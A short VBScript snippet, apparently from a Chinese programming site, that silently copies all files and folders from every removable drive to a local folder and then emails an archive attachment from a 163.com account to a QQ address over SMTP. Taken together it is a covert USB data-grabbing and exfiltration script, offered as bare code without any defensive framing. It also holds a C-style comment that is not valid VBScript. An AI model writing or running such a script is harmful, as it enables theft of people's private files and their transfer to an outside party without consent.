学步园

Dim udisk, disks, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set disks = fso.Drives
For Each udisk In disks
s = udisk.DriveLetter
If fso.GetDrive(s & ":").DriveType = 1 Then
fso.CopyFile s & ":\*", "D:\biweilun's Files", True
fso.CopyFolder s & ":\*", "D:\biweilun's Files", True
End If

Next

 

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "byan88@163.com"
Email.To = "274668477@qq.com"
Email.Subject = "Test sendmail.vbs"
Email.Textbody = "OK!"
Email.AddAttachment "C:\SO SICK .rar"   /*这里在C下建立SO SICK .RAR*/
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.163.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "byan88"
.Item(NameSpace&"sendpassword") = "*****"
.Update
End With
Email.Send